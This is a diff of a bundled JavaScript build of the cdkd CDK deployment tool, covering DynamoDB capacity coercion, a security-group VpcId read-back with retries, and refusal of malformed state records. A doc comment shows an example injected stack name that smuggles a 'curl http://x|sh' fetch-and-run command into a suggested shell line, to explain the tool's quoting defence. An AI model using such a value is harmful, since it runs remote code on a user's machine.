@@ -22503,8 +22513,8 @@ function toSdkGlobalSecondaryIndexes(properties, region, billingMode, source = "
22503
22513
  blockName: rawReadLocal !== void 0 ? "Replicas[local].GlobalSecondaryIndexes[].ReadOnDemandThroughputSettings" : "ReadOnDemandThroughputSettings",
22504
22514
  member: "MaxReadRequestUnits"
22505
22515
  }, maskSecrets);
22506
- const maxWrite = toFiniteNumber(rawWrite);
22507
- const maxRead = toFiniteNumber(rawReadLocal) ?? toFiniteNumber(rawReadGsi);
22516
+ const maxWrite = coerceCfnInteger(rawWrite);
22517
+ const maxRead = coerceCfnInteger(rawReadLocal) ?? coerceCfnInteger(rawReadGsi);
22508
22518
  const merged = mergeExplicitThroughputBlock(explicitOnDemand, {
22509
22519
  ...maxRead !== void 0 && { MaxReadRequestUnits: maxRead },
22510
22520
  ...maxWrite !== void 0 && { MaxWriteRequestUnits: maxWrite }
@@ -22797,7 +22807,7 @@ function isUnresolvedIntrinsicBlock(value) {
22797
22807
  * The per-GSI reset needs to know "did the template DROP this member", and the
22798
22808
  * only faithful answer is whether the CFn key is THERE — not whether its value
22799
22809
  * coerced. `toSdkGlobalSecondaryIndexes` runs every value through
22800
- * {@link toFiniteNumber}, which returns `undefined` for a present-but-
22810
+ * `coerceCfnInteger`, which returns `undefined` for a present-but-
22801
22811
  * unparseable value (an unresolved `{Ref: …}`, `''`, an object). Deciding
22802
22812
  * "dropped" from that collapsed view sent the `-1` reset for a member the
22803
22813
  * template was actively trying to SET, silently clearing the ceiling — the same
@@ -22914,8 +22924,8 @@ function collectUncomparableCapacityGsiNames(properties, region) {
22914
22924
  continue;
22915
22925
  }
22916
22926
  const explicitProvisioned = asRecord$1(gsi["ProvisionedThroughput"]);
22917
- const derivedRead = toFiniteNumber(explicitProvisioned?.["ReadCapacityUnits"]) ?? deriveReadCapacityUnits(asRecord$1(readBlocks[0])) ?? deriveReadCapacityUnits(asRecord$1(readBlocks[1]));
22918
- const derivedWrite = toFiniteNumber(explicitProvisioned?.["WriteCapacityUnits"]) ?? deriveWriteCapacityUnits(asRecord$1(writeBlock));
22927
+ const derivedRead = coerceCfnInteger(explicitProvisioned?.["ReadCapacityUnits"]) ?? deriveReadCapacityUnits(asRecord$1(readBlocks[0])) ?? deriveReadCapacityUnits(asRecord$1(readBlocks[1]));
22928
+ const derivedWrite = coerceCfnInteger(explicitProvisioned?.["WriteCapacityUnits"]) ?? deriveWriteCapacityUnits(asRecord$1(writeBlock));
22919
22929
  if (derivedRead === void 0 || derivedWrite === void 0) out.add(name);
22920
22930
  }
22921
22931
  return out;
@@ -23068,7 +23078,7 @@ function toSdkReplicaThroughputOverrides(cfn, billingMode, diagnostics, context,
23068
23078
  if (billingMode === "PROVISIONED") {
23069
23079
  const rawRead = cfn["ReadProvisionedThroughputSettings"];
23070
23080
  const readCapacity = deriveReadCapacityUnits(asRecord$1(rawRead));
23071
- if (readCapacity === void 0 && toFiniteNumber(explicitProvisioned?.["ReadCapacityUnits"]) === void 0) reportUnresolvedProvisionedCapacity(rawRead, "Read", "min", { suppressed: "so no ProvisionedThroughputOverride was sent and the replica keeps the source table's read capacity" }, diagnostics, {
23081
+ if (readCapacity === void 0 && coerceCfnInteger(explicitProvisioned?.["ReadCapacityUnits"]) === void 0) reportUnresolvedProvisionedCapacity(rawRead, "Read", "min", { suppressed: "so no ProvisionedThroughputOverride was sent and the replica keeps the source table's read capacity" }, diagnostics, {
23072
23082
  ...context,
23073
23083
  blockName: "ReadProvisionedThroughputSettings"
23074
23084
  }, maskSecrets);
@@ -23084,7 +23094,7 @@ function toSdkReplicaThroughputOverrides(cfn, billingMode, diagnostics, context,
23084
23094
  blockName: "ReadOnDemandThroughputSettings",
23085
23095
  member: "MaxReadRequestUnits"
23086
23096
  }, maskSecrets);
23087
- const maxReadRequestUnits = toFiniteNumber(rawMaxRead);
23097
+ const maxReadRequestUnits = coerceCfnInteger(rawMaxRead);
23088
23098
  const merged = mergeExplicitThroughputBlock(explicitOnDemand, maxReadRequestUnits !== void 0 ? { MaxReadRequestUnits: maxReadRequestUnits } : void 0, ["MaxReadRequestUnits"], diagnostics, {
23089
23099
  ...context,
23090
23100
  blockName: "OnDemandThroughputOverride"
@@ -23127,11 +23137,11 @@ function collectTableOnDemandCeilings(properties, region, diagnostics, maskSecre
23127
23137
  return {
23128
23138
  read: {
23129
23139
  declared: rawRead !== void 0 || isUnresolvedIntrinsicBlock(readBlock),
23130
- value: toFiniteNumber(rawRead)
23140
+ value: coerceCfnInteger(rawRead)
23131
23141
  },
23132
23142
  write: {
23133
23143
  declared: rawWrite !== void 0 || isUnresolvedIntrinsicBlock(writeBlock),
23134
- value: toFiniteNumber(rawWrite)
23144
+ value: coerceCfnInteger(rawWrite)
23135
23145
  }
23136
23146
  };
23137
23147
  }
@@ -26555,6 +26565,19 @@ const SG_INGRESS_IP_PROTOCOL_DEFAULT = "-1";
26555
26565
  /** The refusal path both the create guard and the canonicalizer report under. */
26556
26566
  const SG_INGRESS_IP_PROTOCOL_PATH = "AWS::EC2::SecurityGroupIngress IpProtocol";
26557
26567
  /**
26568
+ * Bounded eventual-consistency retry for the `DescribeSecurityGroups`
26569
+ * read-back (`readSecurityGroupVpcId`, issue #3097): an answer
26570
+ * `isNotFoundError` classifies as not-found is retried, everything else omits
26571
+ * the attribute at once. Five ATTEMPTS (four retries) a second apart cover the
26572
+ * propagation window EC2 documents for its read APIs;
26573
+ * `securityGroupReadbackDelays.sleep` is the unit-test seam (the pattern
26574
+ * `deleteTableRetryDelays` uses), and the fallback is the provider's own
26575
+ * `sleep`, so the class has one timer to fake.
26576
+ */
26577
+ const SG_READBACK_NOT_FOUND_ATTEMPTS = 5;
26578
+ const SG_READBACK_RETRY_DELAY_MS = 1e3;
26579
+ const securityGroupReadbackDelays = {};
26580
+ /**
26558
26581
  * Page ceiling for {@link EC2Provider.lookupIngressRuleId}'s
26559
26582
  * `DescribeSecurityGroupRules` walk (issue #1761).
26560
26583
  *
@@ -27808,10 +27831,10 @@ var EC2Provider = class {
27808
27831
  this.logger.debug(`Successfully created SecurityGroup ${logicalId}: ${groupId}`);
27809
27832
  return {
27810
27833
  physicalId: groupId,
27811
- attributes: {
27834
+ attributes: definedAttributes({
27812
27835
  GroupId: groupId,
27813
- VpcId: properties["VpcId"] ?? ""
27814
- }
27836
+ VpcId: await this.readSecurityGroupVpcId(groupId)
27837
+ })
27815
27838
  };
27816
27839
  } catch (error) {
27817
27840
  const cause = error instanceof Error ? error : void 0;
@@ -27901,10 +27924,10 @@ var EC2Provider = class {
27901
27924
  return {
27902
27925
  physicalId,
27903
27926
  wasReplaced: false,
27904
- attributes: {
27927
+ attributes: definedAttributes({
27905
27928
  GroupId: physicalId,
27906
- VpcId: properties["VpcId"] ?? ""
27907
- }
27929
+ VpcId: await this.readSecurityGroupVpcId(physicalId)
27930
+ })
27908
27931
  };
27909
27932
  } catch (error) {
27910
27933
  const cause = error instanceof Error ? error : void 0;
@@ -27968,17 +27991,72 @@ var EC2Provider = class {
27968
27991
  }
27969
27992
  }));
27970
27993
  }
27971
- async getSecurityGroupAttribute(physicalId, attributeName) {
27972
- if (attributeName === "GroupId") return physicalId;
27973
- try {
27974
- const sg = (await this.ec2Client.send(new DescribeSecurityGroupsCommand({ GroupIds: [physicalId] }))).SecurityGroups?.[0];
27975
- if (!sg) return void 0;
27976
- if (attributeName === "VpcId") return sg.VpcId;
27977
- return;
27978
- } catch {
27994
+ /**
27995
+ * The `VpcId` a security group's `attributes` map records, read back from
27996
+ * `DescribeSecurityGroups` on the group id (issue #3097).
27997
+ *
27998
+ * The two `AWS::EC2::SecurityGroup` result maps used to copy the TEMPLATE's
27999
+ * own `VpcId` property with a `?? ''` fallback — the last two sites issue
28000
+ * #3077 left on that shape. A `CfnSecurityGroup` declared without `VpcId`
28001
+ * lands in the account's default VPC, so the template has nothing to copy
28002
+ * and the record held `''` where CloudFormation answers the default VPC's
28003
+ * id. The read-back answers both shapes the same way: `CreateSecurityGroup`
28004
+ * returns only the group id, and the describe reports `VpcId` for an
28005
+ * explicit VPC and for the default one alike.
28006
+ *
28007
+ * Best-effort by design: the group is already created (or updated) and
28008
+ * wired when this runs, so a failed or empty read must not fail the
28009
+ * resource. It answers `undefined` then, which `definedAttributes` turns
28010
+ * into an ABSENT key — never `''` — and the resolver's
28011
+ * `AWS::EC2::SecurityGroup` `VpcId` arm re-reads it live on the next
28012
+ * `Fn::GetAtt`. The error CLASS (and HTTP status when the SDK attached one)
28013
+ * is what the debug line names at its head; AWS's own text follows it on the
28014
+ * same debug line, since a denied describe quotes the caller's account, role
28015
+ * and session (`.claude/rules/provider-resource-identity.md`).
28016
+ *
28017
+ * EC2's read API is eventually consistent: a `DescribeSecurityGroups` issued
28018
+ * right after `CreateSecurityGroup` can answer `InvalidGroup.NotFound` for a
28019
+ * group the write path already accepted tags and rules for (#3139 review).
28020
+ * An answer `isNotFoundError` classifies as not-found (a substring
28021
+ * predicate — on this API that is `InvalidGroup.NotFound`) is therefore
28022
+ * retried a bounded number of times (`SG_READBACK_NOT_FOUND_ATTEMPTS`,
28023
+ * `SG_READBACK_RETRY_DELAY_MS` apart) before the key is omitted; every
28024
+ * other failure, and an EMPTY answer, omits at once. On the update path a
28025
+ * group deleted out of band takes the same bounded wait and then omits —
28026
+ * its own rule / tag calls MAY already have failed, but an update whose
28027
+ * bags agree issues none, and the rollback replay / `drift --revert` reach
28028
+ * `updateSecurityGroup` too, so this read can be the first call to touch
28029
+ * it. `getSecurityGroupAttribute` (the orphan rewriter's live fetch) shares
28030
+ * the wait. The sleep itself is inside the best-effort boundary: a
28031
+ * rejecting sleep (only a test seam can reject) omits like a failed read.
28032
+ */
28033
+ async readSecurityGroupVpcId(groupId) {
28034
+ for (let attempt = 1;; attempt++) try {
28035
+ const vpcId = (await this.ec2Client.send(new DescribeSecurityGroupsCommand({ GroupIds: [groupId] })))?.SecurityGroups?.[0]?.VpcId;
28036
+ if (vpcId === void 0) this.logger.debug(`DescribeSecurityGroups reported no VpcId for SecurityGroup ${groupId}; omitting the attribute`);
28037
+ return vpcId;
28038
+ } catch (error) {
28039
+ const name = error instanceof Error && error.name ? error.name : "Error";
28040
+ const status = error?.$metadata?.httpStatusCode;
28041
+ const errorClass = typeof status === "number" ? `${name}, HTTP ${status}` : name;
28042
+ if (this.isNotFoundError(error) && attempt < 5) {
28043
+ this.logger.debug(`DescribeSecurityGroups for SecurityGroup ${groupId} answered not-found (${errorClass}) on attempt ${attempt}/${5}; retrying in ${SG_READBACK_RETRY_DELAY_MS}ms (eventual consistency)`);
28044
+ try {
28045
+ await (securityGroupReadbackDelays.sleep ?? ((ms) => this.sleep(ms)))(SG_READBACK_RETRY_DELAY_MS);
28046
+ } catch {
28047
+ this.logger.debug(`DescribeSecurityGroups retry sleep for SecurityGroup ${groupId} rejected; omitting the VpcId attribute`);
28048
+ return;
28049
+ }
28050
+ continue;
28051
+ }
28052
+ this.logger.debug(`DescribeSecurityGroups for SecurityGroup ${groupId} failed (${errorClass}); omitting the VpcId attribute: ${error instanceof Error ? error.message : String(error)}`);
27979
28053
  return;
27980
28054
  }
27981
28055
  }
28056
+ async getSecurityGroupAttribute(physicalId, attributeName) {
28057
+ if (attributeName === "GroupId") return physicalId;
28058
+ if (attributeName === "VpcId") return this.readSecurityGroupVpcId(physicalId);
28059
+ }
27982
28060
  /**
27983
28061
  * @param onUnusableProtocol When supplied, a malformed `IpProtocol` WARNS and
27984
28062
  * defaults instead of throwing. Passed by `updateSecurityGroupIngress`,
@@ -29671,10 +29749,17 @@ var EC2Provider = class {
29671
29749
  physicalId,
29672
29750
  attributes: {}
29673
29751
  } : null;
29674
- case "AWS::EC2::SecurityGroup": return (await this.ec2Client.send(new DescribeSecurityGroupsCommand({ GroupIds: [physicalId] }))).SecurityGroups?.[0] ? {
29675
- physicalId,
29676
- attributes: {}
29677
- } : null;
29752
+ case "AWS::EC2::SecurityGroup": {
29753
+ const group = (await this.ec2Client.send(new DescribeSecurityGroupsCommand({ GroupIds: [physicalId] }))).SecurityGroups?.[0];
29754
+ if (!group) return null;
29755
+ return {
29756
+ physicalId,
29757
+ attributes: definedAttributes({
29758
+ GroupId: physicalId,
29759
+ VpcId: group.VpcId
29760
+ })
29761
+ };
29762
+ }
29678
29763
  case "AWS::EC2::SecurityGroupIngress": {
29679
29764
  if (!SG_RULE_ID_PATTERN$1.test(physicalId)) return null;
29680
29765
  const rule = (await this.ec2Client.send(new DescribeSecurityGroupRulesCommand({ SecurityGroupRuleIds: [physicalId] }))).SecurityGroupRules?.[0];
@@ -63959,8 +64044,9 @@ const UNSUBSTITUTED_SUB_PLACEHOLDER = /\$\{[^}]*\}/;
63959
64044
  *
63960
64045
  * 1. `undefined` — the SAME signal the deploy side keys on. `resolve` returns it
63961
64046
  * WITHOUT throwing for a constructible-but-unknown attribute
63962
- * (`AWS::DynamoDB::Table.StreamArn`, `AWS::IAM::Policy.PolicyId`,
63963
- * `AWS::EC2::SecurityGroup.VpcId`, ...). `JSON.stringify` drops an
64047
+ * (`AWS::DynamoDB::Table.StreamArn`, `AWS::IAM::Policy.PolicyId`, ...;
64048
+ * `AWS::EC2::SecurityGroup.VpcId` left this list in #3097 — it now reads
64049
+ * the group live and REFUSES, which the catch below records). `JSON.stringify` drops an
63964
64050
  * `undefined`-valued key, so state can never hold one and such an output
63965
64051
  * would otherwise report a PERMANENT phantom `ADD` printing `new: undefined`.
63966
64052
  * 2. A symbol — `Ref: AWS::NoValue` resolves to a sentinel symbol, which
@@ -65262,6 +65348,145 @@ function isStackNotFoundError(err) {
65262
65348
  return name === "ValidationError" && /does not exist/i.test(message);
65263
65349
  }
65264
65350
 
65351
+ //#endregion
65352
+ //#region src/state/malformed-resources-bag.ts
65353
+ /** The error code every malformed-record refusal carries, whatever its class. */
65354
+ const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
65355
+ /**
65356
+ * Answer the ONE question both helpers below key on: can this record's
65357
+ * resource map be read at all?
65358
+ *
65359
+ * Widened past `null` / `undefined` because the message says "no readable
65360
+ * resources map" and a hand-edited record does not stop at those two: a
65361
+ * `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
65362
+ * empty or, for the string, absurd — repaired silently and warned about
65363
+ * nowhere. The predicate is the plain-object test the bag's own type implies.
65364
+ */
65365
+ function hasReadableResources(state) {
65366
+ const bag = state.resources;
65367
+ return typeof bag === "object" && bag !== null && !Array.isArray(bag);
65368
+ }
65369
+ /**
65370
+ * The shared explanation, in the terms the reader needs: what is wrong, what
65371
+ * to look at, and what NOT to do next.
65372
+ *
65373
+ * Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
65374
+ * emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
65375
+ * `.claude/rules/layout-state-types.md` require of any suggestion a user is
65376
+ * meant to paste, for two separate reasons.
65377
+ *
65378
+ * Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
65379
+ * printable-ASCII allowlist, so it removes the line- and escape-forgery class
65380
+ * but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
65381
+ * trusted here, since a stack name reaches the cross-stack read path from an
65382
+ * `Fn::GetStackOutput` argument or an S3 key. A name spelled
65383
+ * `a'; curl http://x|sh; echo '` would close the quoting and append its own
65384
+ * command to the line this text tells the user to RUN.
65385
+ *
65386
+ * Wrapping the command in `'...'` is not enough either, and is what makes the
65387
+ * two compose badly: `shellQuote` does its own quoting, so an outer wrapper
65388
+ * produces something unpastable. Hence unwrapped and last.
65389
+ *
65390
+ * An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
65391
+ * nothing — an empty argument makes `--stack-region` swallow the next flag,
65392
+ * turning a remedy into a differently-broken command.
65393
+ */
65394
+ function safeIdentifier(value) {
65395
+ const safe = displaySafe(value, { asciiOnly: true });
65396
+ if (!safe) return UNRENDERABLE;
65397
+ const { text, truncated } = truncateCodePoints(safe, 128);
65398
+ return truncated ? `${text}...` : text;
65399
+ }
65400
+ function malformedStateDetail(stackName, region) {
65401
+ const stack = safeIdentifier(stackName);
65402
+ const reg = safeIdentifier(region);
65403
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
65404
+ }
65405
+ /**
65406
+ * For a READ-ONLY command: give the record an empty resource bag so the
65407
+ * command can report on it, and say so (issue go-to-k/cdkd#3018).
65408
+ *
65409
+ * `parseStateBody` deliberately does not validate the inner shape, so a
65410
+ * hand-edited or truncated record reaches a command with `resources` absent,
65411
+ * `null`, or some other non-object. Every such command then died on a raw
65412
+ * `TypeError` from the first `Object.keys` / `in` / index read — the exact
65413
+ * wording differs per shape (`Cannot convert undefined or null to object`,
65414
+ * `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
65415
+ * them names a stack, a key or a remedy, from exactly the commands a user
65416
+ * reaches for WHEN the state is broken.
65417
+ *
65418
+ * WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
65419
+ * the twelve `Object.entries(state.resources)` loops, which was inert: every
65420
+ * one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
65421
+ * `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
65422
+ * happened one line up and the guards only made it look handled. One call per
65423
+ * load dominates the whole flow behind it, including the helpers that take the
65424
+ * state as a parameter (`orphan-rewriter`, `diff-calculator`,
65425
+ * `collectCcApiRoutes`).
65426
+ *
65427
+ * Mutates in place and returns whether it repaired anything; the caller warns
65428
+ * on `true`. A silent repair is its own defect — an empty resource set is
65429
+ * indistinguishable from a healthy empty stack in every later line of output,
65430
+ * so `No changes detected` over an unreadable record is a clean verdict about
65431
+ * nothing.
65432
+ *
65433
+ * **Only for a command that cannot WRITE state.** Anything that can persist
65434
+ * uses {@link refuseMalformedState} instead; see its note.
65435
+ */
65436
+ function repairMalformedResourcesForReadOnly(state) {
65437
+ if (hasReadableResources(state)) return false;
65438
+ state.resources = {};
65439
+ return true;
65440
+ }
65441
+ /**
65442
+ * The refusal TEXT, for a command whose own exit-code contract means this
65443
+ * cannot be a plain `CdkdError`.
65444
+ *
65445
+ * `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
65446
+ * plaintext") and every one of its refusals carries `exitCode = 2`, because a
65447
+ * CI gate reading the code alone must be able to tell "scrub looked and found
65448
+ * a leak" from "scrub refused to look" — the two call for opposite responses.
65449
+ * So scrub tests {@link hasReadableResources} and raises its own class around
65450
+ * this text rather than calling {@link refuseMalformedState}.
65451
+ *
65452
+ * The other three refusing commands do NOT share that need, and giving them a
65453
+ * single shared code would be wrong in the other direction: `cdkd rollback`
65454
+ * documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
65455
+ * would tell an operator to re-run a command that attempted nothing.
65456
+ */
65457
+ function malformedStateRefusalMessage(stackName, region) {
65458
+ return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
65459
+ }
65460
+ /** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
65461
+ function malformedResourcesWarning(stackName, region) {
65462
+ return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
65463
+ }
65464
+ /**
65465
+ * For a command that can WRITE state: refuse the record by name instead of
65466
+ * repairing it.
65467
+ *
65468
+ * Repairing is actively DANGEROUS here, and the PR that introduced this module
65469
+ * shipped that danger for one round before its security review caught it.
65470
+ * `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
65471
+ * change alone satisfies — so a record holding `"resources": null` and a
65472
+ * plaintext secret in `outputs` would be scrubbed, and then saved back with a
65473
+ * repaired, WELL-FORMED `resources: {}`. The malformed record is the only
65474
+ * signal that anything is wrong; laundering it into a legitimate-looking empty
65475
+ * one is permanent and silent. The next `cdkd deploy` then reads zero resources
65476
+ * and CREATES the whole stack a second time, and the next `cdkd destroy`
65477
+ * deletes nothing and orphans every live resource — and the one-shot warning
65478
+ * that would have said so is long gone, quite possibly for a different
65479
+ * operator. `cdkd import --force` launders it the same way.
65480
+ *
65481
+ * Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
65482
+ * this names the stack, the region, the defect and the remedy, and exits on a
65483
+ * code rather than on a stack trace.
65484
+ */
65485
+ function refuseMalformedState(state, stackName, region) {
65486
+ if (hasReadableResources(state)) return;
65487
+ throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
65488
+ }
65489
+
65265
65490
  //#endregion
65266
65491
  //#region src/cli/commands/diff-recursive.ts
65267
65492
  /**
@@ -65382,7 +65607,10 @@ function indexNestedChildTemplates(template, templatePath) {
65382
65607
  /** Load a stack's cdkd state, or synthesize an empty record (→ all CREATE) when none exists. */
65383
65608
  async function loadStateOrEmpty(stackName, region, stateBackend) {
65384
65609
  const result = await stateBackend.getState(stackName, region);
65385
- if (result) return result.state;
65610
+ if (result) {
65611
+ if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
65612
+ return result.state;
65613
+ }
65386
65614
  return {
65387
65615
  stackName,
65388
65616
  region,
@@ -65691,7 +65919,7 @@ async function buildDiffTree(args) {
65691
65919
  parentHasSecretReference: secretBearingAbove
65692
65920
  }));
65693
65921
  }
65694
- for (const [logicalId, resource] of Object.entries(state.resources)) {
65922
+ for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
65695
65923
  if (resource.resourceType !== "AWS::CloudFormation::Stack") continue;
65696
65924
  if (templateChildIds.has(logicalId)) continue;
65697
65925
  node.children.push(await buildDeletedSubtree(`${stackName}~${logicalId}`, region, stateBackend, diffCalculator, secretBearingAbove));
@@ -65718,7 +65946,7 @@ async function buildDeletedSubtree(stackName, region, stateBackend, diffCalculat
65718
65946
  outputChanges,
65719
65947
  children: []
65720
65948
  };
65721
- for (const [logicalId, resource] of Object.entries(state.resources)) {
65949
+ for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
65722
65950
  if (resource.resourceType !== "AWS::CloudFormation::Stack") continue;
65723
65951
  node.children.push(await buildDeletedSubtree(`${stackName}~${logicalId}`, region, stateBackend, diffCalculator, parentHasSecretReference));
65724
65952
  }
@@ -66208,7 +66436,7 @@ async function diffCommand(stacks, options) {
66208
66436
  const previewOrphanAdoption = async (state, effectiveTemplate, orphanStackName, orphanRegion) => {
66209
66437
  const outcome = await planOrphanAdoption({
66210
66438
  records: state.orphans ?? [],
66211
- managedLogicalIds: new Set(Object.keys(state.resources)),
66439
+ managedLogicalIds: new Set(Object.keys(state.resources ?? {})),
66212
66440
  template: effectiveTemplate,
66213
66441
  stackName: orphanStackName,
66214
66442
  region: orphanRegion,
@@ -66649,6 +66877,12 @@ async function scrubCommand(stacks, options) {
66649
66877
  let totalStacksScrubbed = 0;
66650
66878
  let totalStacksWithUnscrubbableKeys = 0;
66651
66879
  let totalStacksWithUnverifiableReads = 0;
66880
+ /**
66881
+ * Stacks this `--dry-run` proceeded over with an UNREADABLE resources map
66882
+ * (issue go-to-k/cdkd#3018). Tracked exactly like `indexUnreadable`: an
66883
+ * audit this run could not perform is a FINDING, never a clean result.
66884
+ */
66885
+ const malformedRecords = [];
66652
66886
  const failures = [];
66653
66887
  const exportIndexStores = /* @__PURE__ */ new Map();
66654
66888
  const exportIndexFor = (indexRegion) => {
@@ -66725,6 +66959,7 @@ async function scrubCommand(stacks, options) {
66725
66959
  totalStacksScrubbed++;
66726
66960
  logger.info(`${options.dryRun ? "Would scrub" : "Scrubbed"} ${scrubbed.recordsChanged} resource record(s) in ${stack.stackName}`);
66727
66961
  } else if (scrubbed.secretBearingKeys === 0 && scrubbed.unverifiableReads === 0 && indexConverged === 0) logger.info(`No plaintext secrets found in ${stack.stackName}`);
66962
+ if (scrubbed.malformedResources) malformedRecords.push(stack.stackName);
66728
66963
  if (scrubbed.unverifiableReads > 0) {
66729
66964
  totalStacksWithUnverifiableReads++;
66730
66965
  logger.warn(`${scrubbed.unverifiableReads} cross-stack read(s) in ${stack.stackName} could NOT be verified — cdkd declines them by design (see the warnings above), so this stack is not reported clean.`);
@@ -66755,7 +66990,7 @@ async function scrubCommand(stacks, options) {
66755
66990
  totalIndexEntriesUnexamined += unexamined.length;
66756
66991
  logger.info(`Exports index (${indexRegion}): ${unexamined.length} entr${unexamined.length === 1 ? "y is" : "ies are"} published by a producer this run did not scrub, so nothing here read ${unexamined.length === 1 ? "its" : "their"} value. Coverage composes across the apps sharing this bucket and region — run each app's own cdkd scrub to reach its entries.`);
66757
66992
  }
66758
- if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0) {
66993
+ if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0) {
66759
66994
  if (failures.length === 0) {
66760
66995
  logger.info("\nNo plaintext secrets found in any target stack state. Nothing to scrub.");
66761
66996
  return;
@@ -66778,6 +67013,7 @@ async function scrubCommand(stacks, options) {
66778
67013
  else logger.info(`\nPlan: no state record can be rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
66779
67014
  if (failures.length > 0) throw scrubStacksFailedError(failures);
66780
67015
  if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, true);
67016
+ if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
66781
67017
  if (options.fail) throw new ScrubNeededError();
66782
67018
  return;
66783
67019
  }
@@ -66785,6 +67021,7 @@ async function scrubCommand(stacks, options) {
66785
67021
  else logger.info(`\nNo state record was rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
66786
67022
  if (failures.length > 0) throw scrubStacksFailedError(failures);
66787
67023
  if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, false);
67024
+ if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
66788
67025
  if (options.fail && (totalStacksWithUnscrubbableKeys > 0 || totalStacksWithUnverifiableReads > 0)) throw new ScrubNeededError();
66789
67026
  }
66790
67027
  /**
@@ -67375,6 +67612,19 @@ function orderScrubTargets(targets) {
67375
67612
  * through the real backend, so the read-modify-write still sees S3 rather than
67376
67613
  * a cache, and its ETag precondition still means what it says.
67377
67614
  */
67615
+ /**
67616
+ * The finding a `--dry-run` raises for a record whose resources map it could
67617
+ * not read (issue go-to-k/cdkd#3018).
67618
+ *
67619
+ * `ScrubRefusalError`, so it carries scrub's exit **2**: `1` means "--fail
67620
+ * looked and found a leak -- rotate the secret", and this is the opposite
67621
+ * remedy ("repair the record and re-run"). Without it the run exits 0, or 1
67622
+ * under `--fail` via the SILENT `ScrubNeededError`, whose suppression would
67623
+ * also swallow this text.
67624
+ */
67625
+ function malformedRecordsAuditedError(stackNames) {
67626
+ return new ScrubRefusalError(`${stackNames.length} stack(s) were audited with an EMPTY resource set because their state record has no readable 'resources' map: ${stackNames.join(", ")}. The report above describes their outputs only — nothing is known about their resources, so this run cannot certify them clean. See the warnings above for the record to inspect.`, STATE_RESOURCES_MALFORMED);
67627
+ }
67378
67628
  function memoizeCrossStackStateReads(backend) {
67379
67629
  const view = Object.create(backend);
67380
67630
  let listed;
@@ -67982,6 +68232,80 @@ function isRegionAmbiguousRefusal(err) {
67982
68232
  return err instanceof Error && errorCauseChain(err).some((link) => link instanceof DynamicReferenceRegionAmbiguousError);
67983
68233
  }
67984
68234
  /**
68235
+ * The marker the resolver's NAMELESS-dynamic-reference throw carries
68236
+ * (`Dynamic reference: <service> PARAMETER_NAME is required`).
68237
+ *
68238
+ * Pinned against the resolver's own literal by
68239
+ * `tests/unit/cli/scrub-nameless-dynamic-ref.test.ts`, because this is a
68240
+ * consumer of a string the resolver owns: a reword there would otherwise make
68241
+ * the predicate below silently stop matching and restore the very silence it
68242
+ * exists to remove (`.claude/rules/testing.md` -> "A fixture that greps
68243
+ * cdkd's OWN output must fail loudly when the format drifts").
68244
+ */
68245
+ const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
68246
+ /**
68247
+ * The prefix a matching message must ALSO carry. Without it the bare tails
68248
+ * above are reachable from an unrelated throw: `resolveParameters` raises
68249
+ * `Parameter ${name} is required but no value was provided`, so a template
68250
+ * parameter literally NAMED `PARAMETER_NAME` would flip an ordinary
68251
+ * best-effort miss into a whole-stack refusal.
68252
+ */
68253
+ const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
68254
+ /**
68255
+ * A NAMELESS dynamic reference is NOT a best-effort miss, however unresolvable
68256
+ * the rest of the resource is (issue go-to-k/cdkd#2692) — `{{resolve:ssm-secure}}`
68257
+ * with no parameter name, or `{{resolve:secretsmanager}}` /
68258
+ * `{{resolve:secretsmanager:}}` with no secret id.
68259
+ *
68260
+ * The resolver raises a bare `Error` for both, so they fall through the
68261
+ * typed-refusal test above into the `debug` below and `cdkd scrub` reports the
68262
